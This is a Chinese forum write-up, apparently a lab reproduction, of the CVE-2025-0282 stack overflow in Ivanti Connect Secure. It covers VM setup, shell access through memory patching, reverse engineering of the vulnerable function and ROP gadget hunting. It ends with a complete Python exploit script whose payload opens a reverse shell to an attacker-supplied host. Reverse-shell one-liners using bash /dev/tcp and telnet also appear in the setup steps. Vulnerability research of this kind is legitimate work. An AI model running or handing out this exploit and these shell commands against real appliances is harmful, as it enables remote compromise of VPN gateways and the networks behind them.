-
-
[原创]ivanti CVE-2025-0282 漏洞复现
-
发表于: 3小时前 51
-
环境搭建
下载地址 :
66cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3N6h3I4K6k6i4A6@1j5g2)9J5k6h3u0D9L8$3u0Q4x3X3g2U0L8%4u0W2i4K6u0W2N6$3W2F1k6r3!0%4M7#2)9J5k6h3&6W2N6q4)9J5c8X3N6S2N6r3g2%4j5i4W2Q4x3V1k6F1M7$3q4Q4x3V1k6u0f1@1q4Q4x3X3c8h3i4K6u0V1g2V1#2i4b7g2u0q4i4K6u0V1d9f1y4e0i4K6u0V1x3U0u0Q4x3X3f1%4f1U0u0Q4x3X3f1K6i4K6u0V1x3K6b7K6x3g2)9J5k6e0q4Q4x3X3g2*7K9i4l9`.
双击ovf,确定虚拟机导入位置,等待它的初始化,等待一段时间后按照要求填写即可。


最后设置管理员账号密码,最后即可在浏览器访问到登陆界面。(注意把虚拟机网络桥接改为NAT)

然后如下就是配置好了,访问地址即可

如图就是访问成功了

固件提取
直接对vmdk进行挂载,会发现被加密了,无法拿到文件系统,搜索相关文章。发现有两种提取固件的方式,一种方式是patch内存,还有一种是逆向启动流程分析解密算法进行文件系统解密。
方法:patch内存
将虚拟机暂停后,会在虚拟机的目录下看到一个vmem的文件,这是该虚拟机的内存,如下:

我们将虚拟机挂起后,把该vmem文件拖到010 editor中对其进行修改,将所有内存文件中的/home/bin/dsconfig.pl字符串为///////////////bin/sh。(为什么是///////////////bin/sh,因为/home/bin/dsconfig.pl是21个字符,要保证/bin/sh也是21个字符所以前面添加 / 保证和/home/bin/dsconfig.pl一样长,这样才不会导致内存偏移发生改变。)
/home/bin/dsconfig.pl是控制台界面执行时需要调用的脚本文件,替换后启动虚拟机等待控制台界面超时后按“回车”,即可获取底层Shell。

修改完后启动虚拟机拿到shell

拿到shell后,我们要想办法拿到文件系统中的各个文件才能进行分析,由于ivanti里面不好操作,也不能粘贴复制,所以我们先反弹个shell远程操作,方便一点。
在Ubuntu里面开两个窗口,分别监听8888和8889,8889用来输入命令,8888用来接收命令的返回。

然后在ivanti里面用telnet反弹shell
telnet IP 8888 | /bin/bash | telnet IP 8889 或者 bash -i >& /dev/tcp/IP/8888 0>&1

成功反弹shell,后面也方便操作了。


然后后面为了方便传输我们还是要开一个类似于FTP,方便后续文件的下载这些。
先查看当前服务器放行的端口
iptables -L -n

然后添加一个上面没有的,单独开一个端口来进行传输
iptables -A INPUT -p tcp --dport 8000 -j ACCEPT

然后用python来启动一个http服务即可,然后即可访问。
python -m SimpleHTTPServer 8000

下载我们需要的文件即/home/bin下的web就可以获得我们所需要分析的文件了。
传输文件
检查一下可以看到文件是i386的文件32位小端序。

为了方便后续的调试,我们还需要上传gdbserver到ivanti里面
下载地址:81eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6Z5N6h3N6K6P5g2)9J5c8X3N6V1j5W2)9J5k6s2y4@1j5i4c8A6j5#2)9J5c8X3u0D9L8$3u0Q4x3V1k6E0j5i4y4@1k6i4u0Q4x3V1k6Y4k6r3u0K6k6i4u0$3k6i4u0Q4x3X3b7%4i4K6u0W2x3e0m8Q4x3X3f1I4i4K6u0V1P5o6R3$3i4K6g2X3x3K6t1`.
下载好了后选择在/tmp目录下使用python脚本来进行传输,下面脚本在ivanti里面执行
recv.py
cat > 2.py << 'EOF'
import socket
filename = "gdbserver-static"
def listen_on_port(port=8888):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', port))
server_socket.listen(5)
print("Listening on port %d..." % port)
while True:
client_socket, client_address = server_socket.accept()
print("Connection from %s established." % str(client_address))
try:
received_data = ''
while True:
data = client_socket.recv(1024)
if not data:
break
received_data += data
if received_data:
with open(filename, "wb") as f:
f.write(received_data)
print("[+] write to %s" % filename)
print("[+] Received %d bytes" % len(received_data))
except Exception as e:
print("Error: %s" % str(e))
finally:
client_socket.close()
if __name__ == "__main__":
listen_on_port(8888)
EOF注意还是要开启:
iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
send.py
这个在自己的机子里面执行,自己上传需要的文件
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.157.147', 8888))
with open("文件地址", 'rb') as file:
content = file.read()
s.sendall(content)
s.close()执行完上面两个脚本就能看到gdbserver已经上传到ivanti的/tmp目录下了

记得赋执行权限,然后就能用/tmp/gdbserver-static执行gdb服务了,后面也就可以远程调试

分析
将web程序拖入IDA进行分析。
根据网上的漏洞报告可知漏洞在,sub_e3540这个函数,我们跟进分析一下。

上面已经把部分代码的解析给了出来,这里还有个需要注意的就是。

DSWSTncTransportAgentdMessageListener 类有一个虚函数表,其中应该包含消息处理函数。
下面分析消息处理函数也就是漏洞函数。

该函数最后会调用int __cdecl sub_E4AD0(int a1, IftTlsHeader *a2, char *a3)直接跟进分析一下。

如上图红框框中的可以看出,clientCapabilities_len表示的是我们前面发送过去的clientCapabilities字符串的长度。
*(_DWORD *)(a1 + 148): 获取 clientCapabilities 字符串缓冲区当前的 容量。DSStr::reserve(...): 如果当前容量不足以容纳 clientCapabilities_len + 1 个字节,则调用 reserve 函数重新分配更大的内存空间给 a1 + 140 指向的字符串缓冲区。
然后经过值的传递,最后v23 = *(_DWORD *)(a1 + 144) + 1;,紧接着下面的 strncpy 会进行拷贝,因此这里会触发栈溢出,由于是 32 位系统地址的特殊性(很少会发生0截断),使得我们可以几乎随意地设置 gadget。
漏洞利用
尝试触发栈溢出
使用openconnect来触发栈溢出,先配置一下环境
sudo apt install -y \ libxml2-dev \ zlib1g-dev \ openssl \ libssl-dev \ gnutls-dev \ automake \ autoconf \ pkg-config \ libtool \ gettext
主要是为了编译openconnect,下载openconnect
git clone 617K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6G2M7r3g2F1j5$3!0F1L8X3g2U0N6q4)9J5c8X3!0H3k6h3&6U0L8$3&6F1k6h3y4@1i4K6u0W2k6$3W2@1
下载完后进入该目录,然后打开pulse.c文件,找到如下代码:

修改为:
if (bytes[0]) buf_append(reqbuf, " clientIp=%s", bytes); buf_append(reqbuf, " clientCapabilities=%s", bytes); for (unsigned int n = 0; n < 100; n++) buf_append(reqbuf, "AAAAAAAAAAAAAAAA"); buf_append(reqbuf, "\n%c", 0); ret = send_ift_packet(vpninfo, reqbuf);

完成之后开始编译
./autogrn.sh ./configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4 make
编译完成后我们就可以先测试一下:
./openconnect target_IP --protocol=pulse --dump-http-traffic -vvv
使用当前文件夹下也就是我们改版过的openconnect对目标站点(target_ip/需要根据自己IP进行修改)进行测试。--protocol=pulse指定使用Pulse Connect Secure协议,--dump-http-traffic显示所有HTTP请求和响应的原始数据。-vvv最高级别的调试。

这里解读一下输出信息:

这里是SSL/TLS握手阶段,这里因为我们服务器使用自签名证书,需要用户来选择信任,输入yes后才会继续链接。

这里是HTTP协议升级,从HTTPS升级到专用的IF-T/TLS协议。

主要是Pulse协议握手信息。以及后面的我们构造的payload.
调试
先开发一个端口方便后续远程调试能连上
iptables -A INPUT -p tcp --dport 1234 -j ACCEPT
然后查看一下端口,可以看到web程序是443端口,我们用gdbserver去attach上该端口的PID即可。

./gdbserver-static 0.0.0.0:1234 --attach $(netstat -anptl | grep 443 | awk '{print $7}' | cut -d'/' -f1 | grep -v "-")

监听好了后在自己机上启用我们的gdb连接目标来进行调试
target remote 192.168.157.147:1234

如下面就是远程连接好了

然后在strcpy函数处打一个断点


下完断点后我们按c继续执行,然后再开一个终端执行一次openconnect发送我们的payload。(会经常失败,多调试多发送几遍payload就好了)
可以看到构超级长的 ientCapabilities 参数的时候就会栈溢出
free 的 崩溃现场:

为了更方便的查看strncpy干了什么我们把payload改小些,然后还是启动gdbserver,然后多发送几遍payload去卡到断点处。
for (unsigned int n = 0; n < 6; n++) buf_append(reqbuf, "AAAAAAAAAAAAAAAA");

只有栈溢出还不够,还需要劫持控制流来构造完整的攻击链,在sub_E4AD0函数溢出发生后还有一个指针

这里会去调用a1+72处的函数。我们查看一下dest处的内容:

如上图可以看到,我们输入的内容在dest的下面,而strncpy会从dest开始复制,导致溢出的话就能覆盖到a1的内容,也就是能篡改a1+72的值,然后我们把a1+72改成可用的gadget的话就能实现ROP。
但没有想象中那么简单,我们看看汇编代码:
loc_E51C3: ; CODE XREF: sub_E4AD0+6EC↑j mov edx, [esp+0A0Ch+var_9E0] //将栈上偏移量为[esp+0A0Ch+var_9E0]的内存地址处存储的值加载到edx寄存器中。 mov eax, [esp+0A0Ch+arg_0] //获取a1指针 mov eax, [eax] //通过a1获取vtable地址 mov [esp+0A0Ch+src], edx //将edx寄存器中的值(之前从[esp+0A0Ch+var_9E0]加载的,可能是源字符串地址或长度)保存到栈上src的位置 mov edx, [esp+0A0Ch+arg_0] //再次将栈上第一个参数的值加载到edx寄存器中 mov [esp+0A0Ch+n], 2Eh ; '.' ; int // 将数值2Eh(即字符.)保存到栈上n的位置 mov [esp+0A0Ch+var_A0C], edx //将edx寄存器中的值(之前从[esp+0A0Ch+arg_0]加载的)保存到栈上var_A0C的位置。 call dword ptr [eax+48h] //调用了一个函数。函数的地址是从eax指向的结构体中的偏移48h处获取的。虚函数调用,我们要做的就是在这里劫持。
这里是一个this 指针调用虚表函数的功能, 由于虚表指针在栈上, 这个栈是可以被我们覆盖的, 所以我们大概率就是需要找到一个虚表指针,他指向的虚表函数表, 这个表 +0x48 能有合适的gadget。(下图是原始的虚表)

根据 bc6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9j5h3u0K6i4K6u0W2N6$3q4@1j5$3S2@1L8%4N6J5i4K6u0W2j5$3!0E0i4K6u0r3k6i4S2H3L8r3!0A6N6r3q4@1K9h3!0F1i4K6u0V1N6$3q4D9K9%4c8Z5M7X3!0#2k6$3S2Q4x3X3c8S2L8X3c8Q4x3X3c8@1k6h3y4Z5L8X3W2I4N6h3g2K6i4K6u0V1K9i4k6S2L8Y4c8A6i4K6u0V1j5$3!0F1L8X3g2U0N6q4)9J5k6s2y4W2j5%4g2J5k6g2)9J5k6s2u0U0k6g2)9J5k6r3y4$3k6g2)9J5k6o6t1H3x3U0g2Q4x3X3b7H3x3U0R3J5i4K6u0r3 这个文章[2],观察这个作者的 A Gadget From The Gods,我们可以用该gadget去完成ROP

在这文章中作者提到了他的 gadget 的具体汇编,第一句是mov ebx, 0xfffffff0, 第二句是add esp, 0x204C
+--------------------------+ | gadget_0[0x48] | +--------------------------+ | mov ebx, 0xfffffff0 | <- Load value into EBX +--------------------------+ | add esp, 0x204C | <- Adjust stack pointer +--------------------------+ | mov eax, ebx | <- Copy EBX to EAX +--------------------------+ | pop ebx | <- Restore EBX +--------------------------+ | pop esi | <- Restore ESI +--------------------------+ | pop edi | <- Restore EDI +--------------------------+ | pop ebp | <- Restore EBP +--------------------------+ | ret | <- Return to caller +--------------------------
接下来就是要找到该gadget,由于调试时我们可以发现程序或加载很多额外的库文件,我们的gadget没准就在这些库文件中.
我们把/home/lib/文件都导出来来(像之前一样web下载。)
用该脚本去扫
#!/usr/bin/env python3
import subprocess
import os
for f in os.listdir('.'):
if f.endswith('.so'):
print(f"\n=== {f} ===")
os.system(f"objdump -d -M intel {f} | grep -i 'add.*esp.*0x204c'")然后可以发现在libdsplibs.so可以找到该gadget,这也是个swithc table表

然后按照代码逻辑,我们只要反着算就行, 例如我们这里最后vtable 的地址是 0x11D88F8, 那么就需要有一个地址存储这个指针, 直接在 ida 的binary search里搜索


由于最后是执行 call dword ptr [eax+48h]所以0x11D8940-0x48=0x11D88F8

然后有由于会执行mov eax, [esp+0A0Ch+arg_0]和mov eax, [eax],所以还要找一个地址储存的值是0x11D88F8
对db1_11D88F8进行交叉引用, 所以我们最后要覆盖的this 指针地址为 0x00934F4C,后面正常rop 就行, 这里提一句libc的随机化是 0xfff位, 多核启动的时候会有一个主进程不断的fork子进程,因此我们爆破 0xfff次就一定能成功执行。

但本地调试的话爆破起来非常麻烦,所以我们可以去改一下内核配置,取消PIE随机化。
先看看ASLR(地址空间布局随机化) 的当前设置

ASLR 的三种级别 值 含义 说明 0 关闭 不进行任何地址随机化 1 部分开启 随机化 mmap 基址、栈、VDSO,但不随机化共享库位置(通常也是较弱的随机化) 2 完全开启 随机化所有区域:栈、堆、共享库、mmap、VDSO、executable 等
关闭ASLR
echo 0 > /proc/sys/kernel/randomize_va_space #验证是否为0 cat /proc/sys/kernel/randomize_va_space # 重启web服务 killall web #再从gdb中观察内存地址是否固定 target remote IP:1234 #查看内存布局 info proc mappings
经过调试可以看到,地址一直固定为0xf6525000

有了这个地址就方便多了,然后还有个问题就是openconnect并不能很好的发送ROP数据,因此我们还得用python来写,然后gadget都是来自于libdsplibs.so
exp
#!/usr/bin/env python3
"""
CVE-2025-0282 Exploit - 基于ad1.py,ASLR已关闭版本
libdsplibs.so base: 0xf6525000
"""
import sys
import socket
import ssl
import struct
from time import sleep
def log(txt):
print(txt)
def exploit(target_ip, target_port, lhost, lport):
log(f"[+] Targeting {target_ip}:{target_port}")
# 22.7r2.4 b3597 gadgets (from libdsplibs.so)
target = {
'padding_to_vftable': 2288,
'vftable_gadget_offset': 0x00934F4C,
'padding_to_next_frame': 2934,
'offset_to_got_plt': 0x00157c000,
'gadget_inc_ebx_ret': 0x01338373,
'gadget_mov_eax_esp_retn_c': 0x00ca2e84,
'gadget_add_eax_8_ret': 0x007a040c,
'gadget_mov_esp_eax_call_system': 0x004f0df3,
}
# 固定base地址 (ASLR disabled)
libdsplibs_base = 0xf6525000
log(f"[*] libdsplibs_base: 0x{libdsplibs_base:08x}")
# 反弹shell命令
cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1';#"
cmd = cmd.replace(' ', '${IFS}')
log(f"[*] Command: {cmd}")
# 构造ROP buffer
buffer = b'C' * target['padding_to_vftable']
buffer += struct.pack('<I', libdsplibs_base + target['vftable_gadget_offset'])
buffer += b'A' * target['padding_to_next_frame']
buffer += struct.pack('<I', libdsplibs_base + target['offset_to_got_plt'] - 1)
buffer += struct.pack('<I', 0xCAFEBEEF) # esi
buffer += struct.pack('<I', 0xCAFEBEEF) # edi
buffer += struct.pack('<I', 0xCAFEBEEF) # ebp
buffer += struct.pack('<I', libdsplibs_base + target['gadget_inc_ebx_ret'])
buffer += struct.pack('<I', libdsplibs_base + target['gadget_mov_eax_esp_retn_c'])
buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
buffer += struct.pack('<I', 0xCAFEBEEF)
buffer += struct.pack('<I', 0xCAFEBEEF)
buffer += struct.pack('<I', 0xCAFEBEEF)
buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
buffer += struct.pack('<I', libdsplibs_base + target['gadget_mov_esp_eax_call_system'])
buffer += struct.pack('<I', 0xCAFEBEEF)
buffer += cmd.encode()
# 检查bad char
if b'\x00' in buffer:
log("[-] Buffer contains null byte!")
return
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(sock, server_hostname=target_ip)
s.connect((target_ip, target_port))
# HTTP Upgrade
body = f"GET / HTTP/1.1\r\n"
body += f"Host: {target_ip}:{target_port}\r\n"
body += "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n"
body += "Content-Type: EAP\r\n"
body += "Upgrade: IF-T/TLS 1.0\r\n"
body += "Content-Length: 0\r\n"
body += "\r\n"
s.send(body.encode())
res = s.recv(4096)
if b'101 Switching Protocols' not in res:
log("[-] Failed to switch protocols")
return
log("[+] Protocol switched")
# IFT_VERSION_REQUEST
data = struct.pack('4B', 0, 1, 2, 2)
pkt = struct.pack('>IIII', 0x00005597, 0x00000001, len(data) + 16, 0) + data
s.send(pkt)
log("[*] Sent version request")
# Exploit packet
data = b"clientHostName=abcdefgh clientIp=127.0.0.1 clientCapabilities=" + buffer + b"\n\x00"
pkt = struct.pack('>IIII', 0x00000a4c, 0x00000088, len(data) + 16, 1) + data
log(f"[*] Triggering exploit...")
s.send(pkt)
log("[+] Exploit sent! Check your listener.")
except Exception as e:
log(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_ip> <target_port> <lhost> <lport>")
print(f"Example: {sys.argv[0]} 192.168.13.200 443 192.168.13.146 9999")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
lhost = sys.argv[3]
lport = int(sys.argv[4])
exploit(target_ip, target_port, lhost, lport)